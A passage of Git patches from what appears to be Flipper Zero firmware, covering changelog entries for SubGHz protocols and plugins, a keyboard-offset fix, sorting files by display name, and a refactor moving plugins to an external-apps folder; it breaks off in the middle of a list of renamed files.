New protocols support: CAME Space, Stilmatic / Schellenberg * SubGHz: Add Manually - new protocols -> Beninca, Sommer(FSK), IronLogic, DTM Neo, Gibidi, Elmes Electronic (Elmes Poland), CAME Space +* SubGHz: Fixed external module power issues, added more checks, fixed issues when launching subghz favourites * SubGHz: Removed 330MHz from default freq hopper to make it faster, to change freq hopper settings and remove/add your freqs see -> [Instruction](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzSettings.md) * Plugins: Updated **TOTP (Authenticator)** [(by akopachov)](https://github.com/akopachov/flipper-zero_authenticator) (fixed issue #379) * Plugins: Update for SubGHz Bruteforcer, added - Holtek HT12X 12bit AM 433.920MHz/315MHz/868MHz/915MHz (TE: 433us) diff --git a/applications/main/subghz/subghz.c b/applications/main/subghz/subghz.c index f7adc4021..3ca66374b 100644 --- a/applications/main/subghz/subghz.c +++ b/applications/main/subghz/subghz.c @@ -453,6 +453,11 @@ int32_t subghz_app(void* p) { // Check argument and run corresponding scene if(p && strlen(p)) { uint32_t rpc_ctx = 0; + + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } + if(sscanf(p, "RPC %lX", &rpc_ctx) == 1) { subghz->rpc_ctx = (void*)rpc_ctx; rpc_system_app_set_callback(subghz->rpc_ctx, subghz_rpc_command_callback, subghz); From 2b68bf7542d8d54b5cb2f3e75e0a8062cf75f2a7 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 14 Mar 2023 01:35:58 +0000 Subject: [PATCH 074/329] Update keyboard offset logic (fix #168) --- applications/services/gui/modules/text_input.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/services/gui/modules/text_input.c b/applications/services/gui/modules/text_input.c index f39adcd9c..f693e6097 100644 --- a/applications/services/gui/modules/text_input.c +++ b/applications/services/gui/modules/text_input.c @@ -381,7 +381,7 @@ static void text_input_handle_up(TextInput* text_input, TextInputModel* model) { if(model->selected_row > 0) { model->selected_row--; if(model->selected_column > - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 6) { + get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 6 && model->selected_row == 0) { model->selected_column = model->selected_column + 1; } } @@ -392,7 +392,7 @@ static void text_input_handle_down(TextInput* text_input, TextInputModel* model) if(model->selected_row < keyboard_row_count - 1) { model->selected_row++; if(model->selected_column > - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 4) { + get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 4 && model->selected_row == 1) { model->selected_column = model->selected_column - 1; } } From f14272d9e37887dab241fd68a2275976e36c6e87 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 14 Mar 2023 02:56:13 +0000 Subject: [PATCH 075/329] Format --- applications/services/gui/modules/text_input.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/applications/services/gui/modules/text_input.c b/applications/services/gui/modules/text_input.c index f693e6097..9f6953732 100644 --- a/applications/services/gui/modules/text_input.c +++ b/applications/services/gui/modules/text_input.c @@ -381,7 +381,8 @@ static void text_input_handle_up(TextInput* text_input, TextInputModel* model) { if(model->selected_row > 0) { model->selected_row--; if(model->selected_column > - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 6 && model->selected_row == 0) { + get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 6 && + model->selected_row == 0) { model->selected_column = model->selected_column + 1; } } @@ -392,7 +393,8 @@ static void text_input_handle_down(TextInput* text_input, TextInputModel* model) if(model->selected_row < keyboard_row_count - 1) { model->selected_row++; if(model->selected_column > - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 4 && model->selected_row == 1) { + get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 4 && + model->selected_row == 1) { model->selected_column = model->selected_column - 1; } } From 2a51958d776a49e761f732f889ce494eddbb4f04 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 14 Mar 2023 02:56:26 +0000 Subject: [PATCH 076/329] Sort apps and files by display name --- applications/main/archive/helpers/archive_files.h | 4 +++- applications/services/gui/modules/file_browser.c | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/applications/main/archive/helpers/archive_files.h b/applications/main/archive/helpers/archive_files.h index 431c701b3..e4bed3a63 100644 --- a/applications/main/archive/helpers/archive_files.h +++ b/applications/main/archive/helpers/archive_files.h @@ -93,7 +93,9 @@ static int ArchiveFile_t_cmp(const ArchiveFile_t* a, const ArchiveFile_t* b) { } } - return furi_string_cmpi(a->path, b->path); + return furi_string_cmpi( + furi_string_empty(a->custom_name) ? a->path : a->custom_name, + furi_string_empty(b->custom_name) ? b->path : b->custom_name); } #define M_OPL_ArchiveFile_t() \ diff --git a/applications/services/gui/modules/file_browser.c b/applications/services/gui/modules/file_browser.c index 841afda50..47bf89079 100644 --- a/applications/services/gui/modules/file_browser.c +++ b/applications/services/gui/modules/file_browser.c @@ -100,7 +100,7 @@ static int BrowserItem_t_cmp(const BrowserItem_t* a, const BrowserItem_t* b) { } } - return furi_string_cmpi(a->path, b->path); + return furi_string_cmpi(a->display_name, b->display_name); } #define M_OPL_BrowserItem_t() \ From 53435579b3c357a1f915dd5e3f0822da65ba59cd Mon Sep 17 00:00:00 2001 From: hedger Date: Tue, 14 Mar 2023 18:29:28 +0400 Subject: [PATCH 077/329] [FL-3097] fbt, faploader: minimal app module implementation (#2420) * fbt, faploader: minimal app module implementation * faploader, libs: moved API hashtable core to flipper_application * example: compound api * lib: flipper_application: naming fixes, doxygen comments * fbt: changed `requires` manifest field behavior for app extensions * examples: refactored plugin apps; faploader: changed new API naming; fbt: changed PLUGIN app type meaning * loader: dropped support for debug apps & plugin menus * moved applications/plugins -> applications/external * Restored x bit on chiplist_convert.py * git: fixed free-dap submodule path * pvs: updated submodule paths * examples: example_advanced_plugins.c: removed potential memory leak on errors * examples: example_plugins: refined requires * fbt: not deploying app modules for debug/sample apps; extra validation for .PLUGIN-type apps * apps: removed cdefines for external apps * fbt: moved ext app path definition * fbt: reworked fap_dist handling; f18: synced api_symbols.csv * fbt: removed resources_paths for extapps * scripts: reworked storage * scripts: reworked runfap.py & selfupdate.py to use new api * wip: fal runner * fbt: moved file packaging into separate module * scripts: storage: fixes * scripts: storage: minor fixes for new api * fbt: changed internal artifact storage details for external apps * scripts: storage: additional fixes and better error reporting; examples: using APP_DATA_PATH() * fbt, scripts: reworked launch_app to deploy plugins; moved old runfap.py to distfap.py * fbt: extra check for plugins descriptors * fbt: additional checks in emitter * fbt: better info message on SDK rebuild * scripts: removed requirements.txt * loader: removed remnants of plugins & debug menus * post-review fixes --- .github/CODEOWNERS | 4 +- .gitmodules | 4 +- .pvsoptions | 2 +- SConstruct | 27 +- applications/examples/application.fam | 1 + .../examples/example_plugins/application.fam | 31 ++ .../example_plugins/example_plugins.c | 70 +++ .../example_plugins/example_plugins_multi.c | 43 ++ .../examples/example_plugins/plugin1.c | 32 ++ .../examples/example_plugins/plugin2.c | 32 ++ .../example_plugins/plugin_interface.h | 12 + .../example_plugins_advanced/app_api.c | 25 ++ .../example_plugins_advanced/app_api.h | 25 ++ .../app_api_interface.h | 9 + .../app_api_table.cpp | 27 ++ .../app_api_table_i.h | 13 + .../example_plugins_advanced/application.fam | 24 + .../example_advanced_plugins.c | 48 ++ .../example_plugins_advanced/plugin1.c | 40 ++ .../example_plugins_advanced/plugin2.c | 40 ++ .../plugin_interface.h | 12 + applications/external/application.fam | 6 + .../clock/application.fam | 2 +- .../{plugins => external}/clock/clock.png | Bin .../{plugins => external}/clock/clock_app.c | 0 .../{plugins => external}/dap_link/README.md | 0 .../dap_link/application.fam | 2 +- .../dap_link/dap_config.h | 0 .../{plugins => external}/dap_link/dap_link.c | 0 .../{plugins => external}/dap_link/dap_link.h | 0 .../dap_link/dap_link.png | Bin .../dap_link/gui/dap_gui.c | 0 .../dap_link/gui/dap_gui.h | 0 .../dap_link/gui/dap_gui_custom_event.h | 0 .../dap_link/gui/dap_gui_i.h | 0 .../dap_link/gui/scenes/config/dap_scene.c | 0 .../dap_link/gui/scenes/config/dap_scene.h | 0 .../gui/scenes/config/dap_scene_config.h | 0 .../dap_link/gui/scenes/dap_scene_about.c | 0 .../dap_link/gui/scenes/dap_scene_config.c | 0 .../dap_link/gui/scenes/dap_scene_help.c | 0 .../dap_link/gui/scenes/dap_scene_main.c | 0 .../dap_link/gui/views/dap_main_view.c | 0 .../dap_link/gui/views/dap_main_view.h | 0 .../dap_link/icons/ActiveConnection_50x64.png | Bin .../dap_link/icons/ArrowDownEmpty_12x18.png | Bin .../dap_link/icons/ArrowDownFilled_12x18.png | Bin .../dap_link/icons/ArrowUpEmpty_12x18.png | Bin .../dap_link/icons/ArrowUpFilled_12x18.png | Bin .../dap_link/lib/free-dap | 0 .../dap_link/usb/dap_v2_usb.c | 0 .../dap_link/usb/dap_v2_usb.h | 0 .../dap_link/usb/usb_winusb.h | 0 .../hid_app/application.fam | 4 +- .../hid_app/assets/Arr_dwn_7x9.png | Bin .../hid_app/assets/Arr_up_7x9.png | Bin .../hid_app/assets/Ble_connected_15x15.png | Bin .../hid_app/assets/Ble_disconnected_15x15.png | Bin .../hid_app/assets/ButtonDown_7x4.png | Bin .../hid_app/assets/ButtonF10_5x8.png | Bin .../hid_app/assets/ButtonF11_5x8.png | Bin .../hid_app/assets/ButtonF12_5x8.png | Bin .../hid_app/assets/ButtonF1_5x8.png | Bin .../hid_app/assets/ButtonF2_5x8.png | Bin .../hid_app/assets/ButtonF3_5x8.png | Bin .../hid_app/assets/ButtonF4_5x8.png | Bin .../hid_app/assets/ButtonF5_5x8.png | Bin .../hid_app/assets/ButtonF6_5x8.png | Bin .../hid_app/assets/ButtonF7_5x8.png | Bin .../hid_app/assets/ButtonF8_5x8.png | Bin .../hid_app/assets/ButtonF9_5x8.png | Bin .../hid_app/assets/ButtonLeft_4x7.png | Bin .../hid_app/assets/ButtonRight_4x7.png | Bin .../hid_app/assets/ButtonUp_7x4.png | Bin .../hid_app/assets/Button_18x18.png | Bin .../hid_app/assets/Circles_47x47.png | Bin .../hid_app/assets/Left_mouse_icon_9x9.png | Bin .../hid_app/assets/Like_def_11x9.png | Bin .../hid_app/assets/Like_pressed_17x17.png | Bin .../hid_app/assets/Ok_btn_9x9.png | Bin .../hid_app/assets/Ok_btn_pressed_13x13.png | Bin .../hid_app/assets/Pin_arrow_down_7x9.png | Bin .../hid_app/assets/Pin_arrow_left_9x7.png | Bin .../hid_app/assets/Pin_arrow_right_9x7.png | Bin .../hid_app/assets/Pin_arrow_up_7x9.png | Bin .../hid_app/assets/Pin_back_arrow_10x8.png | Bin .../hid_app/assets/Pressed_Button_13x13.png | Bin .../hid_app/assets/Right_mouse_icon_9x9.png | Bin .../hid_app/assets/Space_65x18.png | Bin .../hid_app/assets/Voldwn_6x6.png | Bin .../hid_app/assets/Volup_8x6.png | Bin .../{plugins => external}/hid_app/hid.c | 0 .../{plugins => external}/hid_app/hid.h | 0 .../hid_app/hid_ble_10px.png | Bin .../hid_app/hid_usb_10px.png | Bin .../{plugins => external}/hid_app/views.h | 0 .../hid_app/views/hid_keyboard.c | 0 .../hid_app/views/hid_keyboard.h | 0 .../hid_app/views/hid_keynote.c | 0 .../hid_app/views/hid_keynote.h | 0 .../hid_app/views/hid_media.c | 0 .../hid_app/views/hid_media.h | 0 .../hid_app/views/hid_mouse.c | 0 .../hid_app/views/hid_mouse.h | 0 .../hid_app/views/hid_mouse_jiggler.c | 0 .../hid_app/views/hid_mouse_jiggler.h | 0 .../hid_app/views/hid_tiktok.c | 0 .../hid_app/views/hid_tiktok.h | 0 .../music_player/application.fam | 3 +- .../music_player/icons/music_10px.png | Bin .../music_player/music_player.c | 0 .../music_player/music_player_cli.c | 0 .../music_player/music_player_worker.c | 0 .../music_player/music_player_worker.h | 0 .../nfc_magic/application.fam | 0 .../nfc_magic/assets/DolphinCommon_56x48.png | Bin .../nfc_magic/assets/DolphinNice_96x59.png | Bin .../nfc_magic/assets/Loading_24.png | Bin .../nfc_magic/assets/NFC_manual_60x50.png | Bin .../nfc_magic/lib/magic/magic.c | 0 .../nfc_magic/lib/magic/magic.h | 0 .../nfc_magic/nfc_magic.c | 0 .../nfc_magic/nfc_magic.h | 0 .../nfc_magic/nfc_magic_i.h | 0 .../nfc_magic/nfc_magic_worker.c | 0 .../nfc_magic/nfc_magic_worker.h | 0 .../nfc_magic/nfc_magic_worker_i.h | 0 .../nfc_magic/scenes/nfc_magic_scene.c | 0 .../nfc_magic/scenes/nfc_magic_scene.h | 0 .../nfc_magic/scenes/nfc_magic_scene_check.c | 0 .../nfc_magic/scenes/nfc_magic_scene_config.h | 0 .../scenes/nfc_magic_scene_file_select.c | 0 .../scenes/nfc_magic_scene_magic_info.c | 0 .../scenes/nfc_magic_scene_not_magic.c | 0 .../nfc_magic/scenes/nfc_magic_scene_start.c | 0 .../scenes/nfc_magic_scene_success.c | 0 .../nfc_magic/scenes/nfc_magic_scene_wipe.c | 0 .../scenes/nfc_magic_scene_wipe_fail.c | 0 .../nfc_magic/scenes/nfc_magic_scene_write.c | 0 .../scenes/nfc_magic_scene_write_confirm.c | 0 .../scenes/nfc_magic_scene_write_fail.c | 0 .../scenes/nfc_magic_scene_wrong_card.c | 0 .../picopass/125_10px.png | Bin .../picopass/application.fam | 0 .../picopass/helpers/iclass_elite_dict.c | 0 .../picopass/helpers/iclass_elite_dict.h | 0 .../picopass/icons/DolphinMafia_115x62.png | Bin .../picopass/icons/DolphinNice_96x59.png | Bin .../picopass/icons/Nfc_10px.png | Bin .../icons/RFIDDolphinReceive_97x61.png | Bin .../picopass/icons/RFIDDolphinSend_97x61.png | Bin .../picopass/lib/loclass/optimized_cipher.c | 0 .../picopass/lib/loclass/optimized_cipher.h | 0 .../lib/loclass/optimized_cipherutils.c | 0 .../lib/loclass/optimized_cipherutils.h | 0 .../picopass/lib/loclass/optimized_elite.c | 0 .../picopass/lib/loclass/optimized_elite.h | 0 .../picopass/lib/loclass/optimized_ikeys.c | 0 .../picopass/lib/loclass/optimized_ikeys.h | 0 .../{plugins => external}/picopass/picopass.c | 0 .../{plugins => external}/picopass/picopass.h | 0 .../picopass/picopass_device.c | 0 .../picopass/picopass_device.h | 0 .../picopass/picopass_i.h | 0 .../picopass/picopass_keys.c | 0 .../picopass/picopass_keys.h | 0 .../picopass/picopass_worker.c | 0 .../picopass/picopass_worker.h | 0 .../picopass/picopass_worker_i.h | 0 .../picopass/rfal_picopass.c | 0 .../picopass/rfal_picopass.h | 0 .../picopass/scenes/picopass_scene.c | 0 .../picopass/scenes/picopass_scene.h | 0 .../scenes/picopass_scene_card_menu.c | 0 .../picopass/scenes/picopass_scene_config.h | 0 .../picopass/scenes/picopass_scene_delete.c | 0 .../scenes/picopass_scene_delete_success.c | 0 .../scenes/picopass_scene_device_info.c | 0 .../scenes/picopass_scene_file_select.c | 0 .../picopass/scenes/picopass_scene_key_menu.c | 0 .../scenes/picopass_scene_read_card.c | 0 .../scenes/picopass_scene_read_card_success.c | 0 .../picopass_scene_read_factory_success.c | 0 .../scenes/picopass_scene_save_name.c | 0 .../scenes/picopass_scene_save_success.c | 0 .../scenes/picopass_scene_saved_menu.c | 0 .../picopass/scenes/picopass_scene_start.c | 0 .../scenes/picopass_scene_write_card.c | 0 .../picopass_scene_write_card_success.c | 0 .../scenes/picopass_scene_write_key.c | 0 .../signal_generator/application.fam | 3 +- .../icons/SmallArrowDown_3x5.png | Bin .../icons/SmallArrowUp_3x5.png | Bin .../scenes/signal_gen_scene.c | 0 .../scenes/signal_gen_scene.h | 0 .../scenes/signal_gen_scene_config.h | 0 .../scenes/signal_gen_scene_mco.c | 0 .../scenes/signal_gen_scene_pwm.c | 0 .../scenes/signal_gen_scene_start.c | 0 .../signal_generator/signal_gen_10px.png | Bin .../signal_generator/signal_gen_app.c | 0 .../signal_generator/signal_gen_app_i.h | 0 .../signal_generator/views/signal_gen_pwm.c | 0 .../signal_generator/views/signal_gen_pwm.h | 0 .../snake_game/application.fam | 3 +- .../snake_game/snake_10px.png | Bin .../snake_game/snake_game.c | 0 .../spi_mem_manager/application.fam | 0 .../images/ChipLooking_64x64/frame_01.png | Bin .../images/ChipLooking_64x64/frame_02.png | Bin .../images/ChipLooking_64x64/frame_03.png | Bin .../images/ChipLooking_64x64/frame_rate | 0 .../spi_mem_manager/images/Dip8_10px.png | Bin .../spi_mem_manager/images/Dip8_32x36.png | Bin .../images/DolphinMafia_115x62.png | Bin .../images/DolphinNice_96x59.png | Bin .../images/SDQuestion_35x43.png | Bin .../images/Wiring_SPI_128x64.png | Bin .../spi_mem_manager/lib/spi/spi_mem_chip.c | 0 .../spi_mem_manager/lib/spi/spi_mem_chip.h | 0 .../lib/spi/spi_mem_chip_arr.c | 0 .../spi_mem_manager/lib/spi/spi_mem_chip_i.h | 0 .../spi_mem_manager/lib/spi/spi_mem_tools.c | 0 .../spi_mem_manager/lib/spi/spi_mem_tools.h | 0 .../spi_mem_manager/lib/spi/spi_mem_worker.c | 0 .../spi_mem_manager/lib/spi/spi_mem_worker.h | 0 .../lib/spi/spi_mem_worker_i.h | 0 .../lib/spi/spi_mem_worker_modes.c | 0 .../spi_mem_manager/scenes/spi_mem_scene.c | 0 .../spi_mem_manager/scenes/spi_mem_scene.h | 0 .../scenes/spi_mem_scene_about.c | 0 .../scenes/spi_mem_scene_chip_detect.c | 0 .../scenes/spi_mem_scene_chip_detect_fail.c | 0 .../scenes/spi_mem_scene_chip_detected.c | 0 .../scenes/spi_mem_scene_chip_error.c | 0 .../scenes/spi_mem_scene_config.h | 0 .../scenes/spi_mem_scene_delete_confirm.c | 0 .../scenes/spi_mem_scene_erase.c | 0 .../scenes/spi_mem_scene_file_info.c | 0 .../scenes/spi_mem_scene_read.c | 0 .../scenes/spi_mem_scene_read_filename.c | 0 .../scenes/spi_mem_scene_saved_file_menu.c | 0 .../scenes/spi_mem_scene_select_file.c | 0 .../scenes/spi_mem_scene_select_model.c | 0 .../scenes/spi_mem_scene_select_vendor.c | 0 .../scenes/spi_mem_scene_start.c | 0 .../scenes/spi_mem_scene_storage_error.c | 0 .../scenes/spi_mem_scene_success.c | 0 .../scenes/spi_mem_scene_verify.c | 0 .../scenes/spi_mem_scene_verify_error.c | 0 .../scenes/spi_mem_scene_wiring.c | 0 .../scenes/spi_mem_scene_write.c | 0 .../spi_mem_manager/spi_mem_app.c | 0 .../spi_mem_manager/spi_mem_app.h | 0 .../spi_mem_manager/spi_mem_app_i.h | 0 .../spi_mem_manager/spi_mem_files.c | 0 .../spi_mem_manager/spi_mem_files.h | 0 .../spi_mem_manager/tools/README.md | 0 .../spi_mem_manager/tools/chiplist/LICENSE | 0 .../tools/chiplist/chiplist.xml | 0 .../spi_mem_manager/tools/chiplist_convert.py | 0 .../views/spi_mem_view_detect.c | 0 .../views/spi_mem_view_detect.h | 0 .../views/spi_mem_view_progress.c | 0 .../views/spi_mem_view_progress.h | 0 .../weather_station/application.fam | 3 +- .../helpers/weather_station_event.h | 0 .../helpers/weather_station_types.h | 0 .../weather_station/images/Humid_10x15.png | Bin .../weather_station/images/Humid_8x13.png | Bin .../weather_station/images/Lock_7x8.png | Bin .../images/Pin_back_arrow_10x8.png | Bin .../weather_station/images/Quest_7x8.png | Bin .../images/Scanning_123x52.png | Bin .../weather_station/images/Therm_7x16.png | Bin .../weather_station/images/Timer_11x11.png | Bin .../weather_station/images/Unlock_7x8.png | Bin .../images/WarningDolphin_45x42.png | Bin .../weather_station/images/station_icon.png | Bin .../protocols/acurite_592txr.c | 0 .../protocols/acurite_592txr.h | 0 .../weather_station/protocols/acurite_606tx.c | 0 .../weather_station/protocols/acurite_606tx.h | 0 .../protocols/acurite_609txc.c | 0 .../protocols/acurite_609txc.h | 0 .../protocols/ambient_weather.c | 0 .../protocols/ambient_weather.h | 0 .../protocols/auriol_hg0601a.c | 0 .../protocols/auriol_hg0601a.h | 0 .../weather_station/protocols/gt_wt_02.c | 0 .../weather_station/protocols/gt_wt_02.h | 0 .../weather_station/protocols/gt_wt_03.c | 0 .../weather_station/protocols/gt_wt_03.h | 0 .../weather_station/protocols/infactory.c | 0 .../weather_station/protocols/infactory.h | 0 .../weather_station/protocols/lacrosse_tx.c | 0 .../weather_station/protocols/lacrosse_tx.h | 0 .../protocols/lacrosse_tx141thbv2.c | 0 .../protocols/lacrosse_tx141thbv2.h | 0 .../weather_station/protocols/nexus_th.c | 0 .../weather_station/protocols/nexus_th.h | 0 .../weather_station/protocols/oregon2.c | 0 .../weather_station/protocols/oregon2.h | 0 .../weather_station/protocols/oregon_v1.c | 0 .../weather_station/protocols/oregon_v1.h | 0 .../protocols/protocol_items.c | 0 .../protocols/protocol_items.h | 0 .../weather_station/protocols/thermopro_tx4.c | 0 .../weather_station/protocols/thermopro_tx4.h | 0 .../weather_station/protocols/tx_8300.c | 0 .../weather_station/protocols/tx_8300.h | 0 .../weather_station/protocols/ws_generic.c | 0 .../weather_station/protocols/ws_generic.h | 0 .../scenes/weather_station_receiver.c | 0 .../scenes/weather_station_scene.c | 0 .../scenes/weather_station_scene.h | 0 .../scenes/weather_station_scene_about.c | 0 .../scenes/weather_station_scene_config.h | 0 .../weather_station_scene_receiver_config.c | 0 .../weather_station_scene_receiver_info.c | 0 .../scenes/weather_station_scene_start.c | 0 .../views/weather_station_receiver.c | 0 .../views/weather_station_receiver.h | 0 .../views/weather_station_receiver_info.c | 0 .../views/weather_station_receiver_info.h | 0 .../weather_station/weather_station_10px.png | Bin .../weather_station/weather_station_app.c | 0 .../weather_station/weather_station_app_i.c | 0 .../weather_station/weather_station_app_i.h | 0 .../weather_station/weather_station_history.c | 0 .../weather_station/weather_station_history.h | 0 applications/main/fap_loader/application.fam | 1 + .../main/fap_loader/elf_cpp/elf_hashtable.cpp | 48 -- .../main/fap_loader/elf_cpp/elf_hashtable.h | 14 - .../elf_cpp/elf_hashtable_checks.hpp | 18 - .../fap_loader/elf_cpp/elf_hashtable_entry.h | 41 -- applications/main/fap_loader/fap_loader_app.c | 6 +- applications/plugins/application.fam | 9 - applications/services/applications.h | 12 - applications/services/loader/application.fam | 5 +- .../loader/firmware_api/firmware_api.cpp | 21 + .../loader/firmware_api/firmware_api.h | 5 + applications/services/loader/loader.c | 81 +--- applications/services/loader/loader_i.h | 4 - assets/.gitignore | 1 + documentation/Doxyfile | 2 +- fbt_options.py | 5 - firmware/targets/f18/api_symbols.csv | 24 +- firmware/targets/f7/api_symbols.csv | 24 +- furi/flipper.c | 2 +- lib/flipper_application/SConscript | 5 + .../api_hashtable/api_hashtable.cpp | 38 ++ .../api_hashtable/api_hashtable.h | 85 ++++ .../api_hashtable}/compilesort.hpp | 4 + .../elf/elf_api_interface.h | 12 +- lib/flipper_application/elf/elf_file.c | 33 +- lib/flipper_application/elf/elf_file.h | 22 +- lib/flipper_application/elf/elf_file_i.h | 2 + lib/flipper_application/flipper_application.c | 64 ++- lib/flipper_application/flipper_application.h | 36 +- .../plugins/composite_resolver.c | 52 +++ .../plugins/composite_resolver.h | 46 ++ .../plugins/plugin_manager.c | 153 +++++++ .../plugins/plugin_manager.h | 82 ++++ scripts/distfap.py | 71 +++ scripts/fbt/appmanifest.py | 46 +- scripts/fbt/fapassets.py | 108 +++++ scripts/fbt_tools/fbt_extapps.py | 425 ++++++++---------- scripts/fbt_tools/fbt_sdk.py | 2 +- scripts/flipper/storage.py | 348 +++++++++----- scripts/requirements.txt | 9 - scripts/runfap.py | 132 +++--- scripts/selfupdate.py | 94 ++-- scripts/storage.py | 267 +++-------- site_scons/commandline.scons | 6 +- site_scons/extapps.scons | 65 ++- 376 files changed, 2041 insertions(+), 1036 deletions(-) create mode 100644 applications/examples/example_plugins/application.fam create mode 100644 applications/examples/example_plugins/example_plugins.c create mode 100644 applications/examples/example_plugins/example_plugins_multi.c create mode 100644 applications/examples/example_plugins/plugin1.c create mode 100644 applications/examples/example_plugins/plugin2.c create mode 100644 applications/examples/example_plugins/plugin_interface.h create mode 100644 applications/examples/example_plugins_advanced/app_api.c create mode 100644 applications/examples/example_plugins_advanced/app_api.h create mode 100644 applications/examples/example_plugins_advanced/app_api_interface.h create mode 100644 applications/examples/example_plugins_advanced/app_api_table.cpp create mode 100644 applications/examples/example_plugins_advanced/app_api_table_i.h create mode 100644 applications/examples/example_plugins_advanced/application.fam create mode 100644 applications/examples/example_plugins_advanced/example_advanced_plugins.c create mode 100644 applications/examples/example_plugins_advanced/plugin1.c create mode 100644 applications/examples/example_plugins_advanced/plugin2.c create mode 100644 applications/examples/example_plugins_advanced/plugin_interface.h create mode 100644 applications/external/application.fam rename applications/{plugins => external}/clock/application.fam (82%) rename applications/{plugins => external}/clock/clock.png (100%) rename applications/{plugins => external}/clock/clock_app.c (100%) rename applications/{plugins => external}/dap_link/README.md (100%) rename applications/{plugins => external}/dap_link/application.fam (92%) rename applications/{plugins => external}/dap_link/dap_config.h (100%) rename applications/{plugins => external}/dap_link/dap_link.c (100%) rename applications/{plugins => external}/dap_link/dap_link.h (100%) rename applications/{plugins => external}/dap_link/dap_link.png (100%) rename applications/{plugins => external}/dap_link/gui/dap_gui.c (100%) rename applications/{plugins => external}/dap_link/gui/dap_gui.h (100%) rename applications/{plugins => external}/dap_link/gui/dap_gui_custom_event.h (100%) rename applications/{plugins => external}/dap_link/gui/dap_gui_i.h (100%) rename applications/{plugins => external}/dap_link/gui/scenes/config/dap_scene.c (100%) rename applications/{plugins => external}/dap_link/gui/scenes/config/dap_scene.h (100%) rename applications/{plugins => external}/dap_link/gui/scenes/config/dap_scene_config.h (100%) rename applications/{plugins => external}/dap_link/gui/scenes/dap_scene_about.c (100%) rename applications/{plugins => external}/dap_link/gui/scenes/dap_scene_config.c (100%) rename applications/{plugins => external}/dap_link/gui/scenes/dap_scene_help.c (100%) rename applications/{plugins => external}/dap_link/gui/scenes/dap_scene_main.c (100%) rename applications/{plugins => external}/dap_link/gui/views/dap_main_view.c (100%) rename applications/{plugins => external}/dap_link/gui/views/dap_main_view.h (100%) rename applications/{plugins => external}/dap_link/icons/ActiveConnection_50x64.png (100%) rename applications/{plugins => external}/dap_link/icons/ArrowDownEmpty_12x18.png (100%) rename applications/{plugins => external}/dap_link/icons/ArrowDownFilled_12x18.png (100%) rename applications/{plugins => external}/dap_link/icons/ArrowUpEmpty_12x18.png (100%) rename applications/{plugins => external}/dap_link/icons/ArrowUpFilled_12x18.png (100%) rename applications/{plugins => external}/dap_link/lib/free-dap (100%) rename applications/{plugins => external}/dap_link/usb/dap_v2_usb.c (100%) rename applications/{plugins => external}/dap_link/usb/dap_v2_usb.h (100%) rename applications/{plugins => external}/dap_link/usb/usb_winusb.h (100%) rename applications/{plugins => external}/hid_app/application.fam (86%) rename applications/{plugins => external}/hid_app/assets/Arr_dwn_7x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Arr_up_7x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Ble_connected_15x15.png (100%) rename applications/{plugins => external}/hid_app/assets/Ble_disconnected_15x15.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonDown_7x4.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF10_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF11_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF12_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF1_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF2_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF3_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF4_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF5_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF6_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF7_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF8_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF9_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonLeft_4x7.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonRight_4x7.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonUp_7x4.png (100%) rename applications/{plugins => external}/hid_app/assets/Button_18x18.png (100%) rename applications/{plugins => external}/hid_app/assets/Circles_47x47.png (100%) rename applications/{plugins => external}/hid_app/assets/Left_mouse_icon_9x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Like_def_11x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Like_pressed_17x17.png (100%) rename applications/{plugins => external}/hid_app/assets/Ok_btn_9x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Ok_btn_pressed_13x13.png (100%) rename applications/{plugins => external}/hid_app/assets/Pin_arrow_down_7x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Pin_arrow_left_9x7.png (100%) rename applications/{plugins => external}/hid_app/assets/Pin_arrow_right_9x7.png (100%) rename applications/{plugins => external}/hid_app/assets/Pin_arrow_up_7x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Pin_back_arrow_10x8.png (100%) rename applications/{plugins => external}/hid_app/assets/Pressed_Button_13x13.png (100%) rename applications/{plugins => external}/hid_app/assets/Right_mouse_icon_9x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Space_65x18.png (100%) rename applications/{plugins => external}/hid_app/assets/Voldwn_6x6.png (100%) rename applications/{plugins => external}/hid_app/assets/Volup_8x6.png (100%) rename applications/{plugins => external}/hid_app/hid.c (100%) rename applications/{plugins => 